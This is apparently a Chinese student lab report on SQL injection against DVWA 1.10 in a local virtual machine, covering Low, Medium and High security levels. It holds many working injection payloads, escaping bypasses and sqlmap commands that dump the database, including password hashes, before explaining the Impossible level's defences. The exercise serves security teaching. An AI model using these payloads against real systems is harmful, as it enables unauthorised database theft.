【实验目的】
- 有一个已安装安装lampp套件以及DVWA1.10的虚拟机镜像。
- 访问该虚拟机上的DVWA的SQL Injection实验页面,对具有SQL注入漏洞的服务端进行攻击尝试,获得数据库相关内容。
- 采用手工注入方式,试图获得dvwa数据库中的所有表的内容。
- 得分与所设置的安全级别相关: 完成“Medium+High”安全级别,得到40分;仅完成“Medium”或“High”级别,得到35分,仅完成“Low”级别,得到20分。
- 若得到的表的信息不完整,缺表或缺数据,将扣相应分数。实验系统比标准的DVWA增加了一个表。
- 附加分:在完成手动注入后,附加完成基于sqlmap的注入完成High级别,得到5分的加分。
【实验步骤】
一、基础题 SQL Injection
【Low-手工注入】
①查看源码并判断注入类型
发现是直接把输入的'id'
带入数据库进行查询,并没有对参数做任何过滤操作,所以可能存在字符型sql注入。
输入1
,正常回显:
输入1' and '1'='1
,无回显:
输入1' or '1'='1
,返回了很多用户信息,说明的确存在字符型sql注入:
②用 order by 判断字段数
输入1' or 1=1 order by 2 #
,正常回显:
输入1' or 1=1 order by 3 #
,有报错信息:
说明执行的SQL查询语句中字段数为2,这点在源码中也可以看出来:
③确定查询回显位置
1' union select 1,2#
由于代码中并没有任何过滤操作,所以这里采取了union联合查询,先判断查询后回显的字段位置。这里可以看到第一个参数对应First name,第二个参数对应Surname。
④database()
查询当前的数据库
1' union select 111,database()#
当前数据库是dvwa,即目标数据库。
⑤获取数据库中的table
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
这里使用了聚合函数`group_concat(),将相同group的内容聚合起来。information_schema 结构在mysql中用来存储数据库系统信息,比如schemata、tables、columns。
这句语句的作用是得到当前数据库dvwa中的所有表。
可以发现,数据库dvwa中有3张表:guestbook、locations和users。
⑥获取表中的column
获取guestbook表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#
guestbook表中共有3个字段:comment_id、comment、name。
获取locations表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='locations'#
locations表中共有3个字段:name、latitude、longtitude。
获取users表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
users表中共8个字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login。
⭐这里需要注意要指定查询的数据库为当前数据库,不然就会在所有数据库中查找users表中的内容,因为其他数据库中也可能存在users表,就会造成内容的错误。
如下图中所示,如果不指定数据库,则还会多出3个不属于dvwa数据库user表的字段:USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS。
⑦获得字段中的数据
guestbook表:
如果想要一个字段中显示多个表项,可以通过group_concat()
函数聚合。
1' union select group_concat(comment_id,comment),group_concat(name) from guestbook #
locations表:
如果想要一个字段中显示多个表项,可以通过group_concat()
函数聚合。
1' union select group_concat(name,latitude),group_concat(longtitude) from locations #
users表:
因为users表中字段比较多,所以分批获取。
1' union select group_concat(user_id),group_concat(first_name,last_name) from users #
1' union select user,password from users#
1' union select avatar,111 from users#
1' union select group_concat(last_login),group_concat(failed_login) from users#
(这里如果不用group_concat
的话,由于五个last_login和failed_login都是一样的,只会显示一个)
【Low-sqlmap】
①获取登录DVWA的cookie
在页面中按F12进入开发者模式,在console中输入document.cookie
获得cookie:
cookie:"security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a"
②sqlmap-GET
因为页面中id的参数会随着输入发生变化,所以可以通过GET参数注入。
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch
扫描结果:
sqlmap 通过133次测试后,找到了四种进行注入的方法(即四种漏洞),分别是boolean-based blind
, error-based
, time-based blind
, UNION query
。另外sqlmap还给出了服务器使用的操作系统、web 引擎和MySQL 的大致版本。
③使用 --dbs
查看数据库
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs
扫描结果:
扫描出共有5个数据库,分别是dvwa、infomation_schema、mysql、performance_schema和sys。
④查看dvwa 数据库中的表
由于要求获得dvwa数据库中的所有表的内容,先查看dvwa 数据库中的表。
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa --tables
看到有3张表:guestbook、locations、users,之后依次查看其中的内容。
⑤查看表guestbook中的列和数据
通过-D dvwa
指定dvwa数据库,-T guestbook
指定guestbook表,--columns
查看表中所有列:
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns
guestbook表中共有3列:comment,comment_id,name,查看其中内容:
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump
⑥查看表locations中的列和数据
同理:sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns
locations表中共有3列:latitude, longtitude, name,查看其中内容:
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump
⑦查看表user中的列和数据
同理:sqlmap.py -u "http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low;PHPSESSID=ob0bq1lqdc8lmevehkdr5e0fu2" --batch -D dvwa -T users --columns
查看上面8列中的全部内容:
sqlmap.py -u "http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="security=low;PHPSESSID=ob0bq1lqdc8lmevehkdr5e0fu2" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump
其中password字段为md5加密,sqlmap 通过字典爆破得到解密结果:
数据结果和手工注入的数据相同。
【Medium-手工注入】
①查看源码并判断注入类型
从源码中可以看出,medium中通过$_POST
接收POST方式发送的请求,POST请求通过form表单传输参数,并对参数使用了mysql_real_escape_string
()对特殊符号进行转义(如\x00
、\n
、\r
、\
、'
、"
、\x1a
),同时前端页面不让用户输入,设置了下拉选择表单,但是这一点可以用burp suit抓包绕过。
将抓到的包转发到repeater模块,将id改为1' or '1' = '1
,报错。(因为mysql_real_escape_string
对'
转义。
将id改为1 or 1 = 1
有回显,说明是数字型注入。
②用 order by 判断字段数
输入1 or 1=1 order by 2 #
,正常回显:
输入1 or 1=1 order by 3 #
报错,说明执行的SQL查询语句中只有2个字段。
③中间重复简略过程
之后的步骤其实和Low中一样,区别只是从字符型注入改为数字型。
简略地介绍一下过程:
-
确定查询回显位置:
1 union select 1,2#
-
database()
查询当前的数据库1 union select 111,database()#
-
获取数据库中的table
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
④获取表中的column
- 获取guestbook表中的字段:
1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#
由于单引号'
被转义成了\
,所以该语句无法正常执行。可以通过把guestbook转成16进制的方法绕过:
guestbook=0x6775657374626F6F6B
1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6775657374626F6F6B#
成功显示了表中字段。
- 获取locations表中的字段:
1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6c6f636174696f6e73#
- 获取users表中的字段:
同理,将id改为1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
绕过转义:
⑤获得字段中的数据
-
guestbook表:
1 union select group_concat(comment_id,comment),group_concat(name) from guestbook #
-
locations表:
1 union select group_concat(name,latitude),group_concat(longtitude) from locations #
-
users表:
1 union select group_concat(user_id,first_name,last_name,user),group_concat(password,avatar,last_login,failed_login) from users #
【Medium-sqlmap】
①sqlmap-POST
因为是POST操作,所以sqlmap需要增加参数 --data="id=1&Submit=Submit"
。
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch
之后的操作基本上和Low一样。
②简略过程
使用 --dbs
查看数据库
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs
查看dvwa 数据库中的表
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa --tables
查看表guestbook中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump
查看表locations中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump
查看表user中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump
【High-手工注入】
①查看源码
High中前端用户提交的id值是首先传入到服务端存储到Session文件中,然后再调用给其他需要该id的地方使用。High相较于Medium,去掉了对特殊字符的转义,但在SQL查询语句中添加了LIMIT 1,以此来控制只输出一个结果,但是可以通过#
注释绕过。所以手工注入的方法和前两种级别的差不多,接下来简略介绍流程。
②简略过程
判断注入类型
输入1' or '1'='1'#
,输出了很多内容,说明是字符型注入。
用 order by 判断字段数
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #
确定查询回显位置
1' union select 1,2#
database()
查询当前的数据库
1' union select 111,database()#
获取数据库中的table
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取表中的column
- 获取guestbook表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='guestbook'#
- 获取locations表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='locations'#
- 获取users表中的字段:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
获得字段中的数据
- guestbook表:
1' union select group_concat(comment_id,comment),group_concat(name) from guestbook #
- locations表:
1' union select group_concat(name,latitude),group_concat(longtitude) from locations #
- users表:
1' union select group_concat(user_id,first_name,last_name,user),group_concat(password,avatar,last_login,failed_login) from users #
二、附加项
【High-sqlmap】
①分析
High级别将提交命令和结果显示分为2个窗口,分别抓包:
点击click here to change your ID,GET提交查询命令页面:
点击submit,执行POST,将id改为1' or '1'='1'#
:
之后会再GET原页面,显示查询结果:
这样分成两个页面的作用是防止了常规的sqlmap扫描注入测试,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
但是sqlmap针对这种情况有特殊的指令:--second-url="xxxurl"
,该命令用于设置二阶响应的结果显示页面的url。在sqlmap用户手册(https://sqlmap.campfire.ga/usage/techniques)中有作介绍。
这里的结果显示页面的url地址,即原页面:http://192.168.112.140/dvwa/vulnerabilities/sqli/。
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch
漏洞检查成功。
②简略过程
接下来的步骤和low、medium的sqlmap操作差不多:
使用 --dbs
查看数据库
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch --dbs
查看dvwa 数据库中的表
查看表guestbook中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T guestbook -C "comment,comment_id,name" --dump
查看表locations中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T locations -C "latitude,longtitude,name" --dump
查看表user中的列和数据
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users --columns
sqlmap.py -u "http://192.168.112.140/dvwa/vulnerabilities/sqli/session-input.php#" --data="id=1&Submit=Submit" --second-url="http://192.168.112.140/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=43709171c4bda4821f23857bd9f0bd8a" --batch -D dvwa -T users -C "user_id,user,password,first_name,last_name,avatar,last_login,failed_login" --dump
三、一点总结
1、dvwa数据库
guestbook表中内容如下:
comment_id | comment | name |
---|---|---|
1 | This is a test comment. | test |
locations表中内容如下:
name | latitude | longtitude |
---|---|---|
Yi Fu Building | 31.2991982 | 121.5011749 |
Guanghua Building | 31.2998161 | 121.5049133 |
Xianghui Auditorium | 31.2975178 | 121.4994354 |
users表中内容如下:
user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
---|---|---|---|---|---|---|---|
1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/admin.jpg | 2021-10-31 22:45:46 | 0 |
2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | /hackable/users/gordonb.jpg | 2021-10-31 22:45:46 | 0 |
3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | /hackable/users/1337.jpg | 2021-10-31 22:45:46 | 0 |
4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | /hackable/users/pablo.jpg | 2021-10-31 22:45:46 | 0 |
5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | /hackable/users/smithy.jpg | 2021-10-31 22:45:46 | 0 |
2、Low、Medium、High比较
因为是从Low做起的,Low的步骤中有写比较详细的步骤。后面的Medium和High总体步骤上差不多,所以过程中写的比较简略。主要区别在于:
Low:
①字符型sql注入;
②源码中并没有对输入做任何过滤;
③Low页面的url中id的参数会随着输入发生变化,sqlmap采取GET注入的方法。
Medium:
①数字型sql注入;
②Medium中通过$_POST
接收POST方式发送的请求,POST请求通过form表单传输参数,区别于Low的GET注入,Medium需要用到POST注入,sqlmap需要增加参数 --data="id=1&Submit=Submit"
;
③由于设置了下拉菜单,用户无法直接在网页上输入,需要通过burp suite抓包修改post的内容;
④源码中对参数使用了mysql_real_escape_string
()对特殊符号进行转义(如\x00
、\n
、\r
、\
、'
、"
、\x1a
),所以在获取表中的column时,需要把table_name通过16进制表示。
High:
①字符型sql注入;
②源码中,在SQL查询语句中添加了LIMIT 1,以此来控制只输出一个结果,但是手工注入时可以通过#
注释绕过,所以手工注入时输入的命令和Low相同;
③将提交命令和结果显示分为2个窗口,这一点对手工注入不影响,对sqlmap而言,要用到POST注入和--second-url="xxxurl"
指令,设置二阶响应的结果显示页面的url。
3、impossible分析
源码:
可以看到impossible中增加了:
①通过Check Anti-CSRF token防止CSRF攻击(跨站点请求伪造)。
②通过is_numeric()
函数用于检测变量是否为数字或数字字符串。
③prepare ()
进行sql预编译,预编译语句的优势在于一次编译、多次运行,省去了解析优化等过程,并且能防止sql注入。
④bindParam ()
绑定一个参数到指定的变量名,采用了PDO技术,划清了代码与数据的界限,防御sql注入。
⑤if( $data->rowCount() == 1 )
限制了只有返回的查询结果数量为1时才能成功输出,有效预防了拖库。
这些手段都有效地防范了sql注入。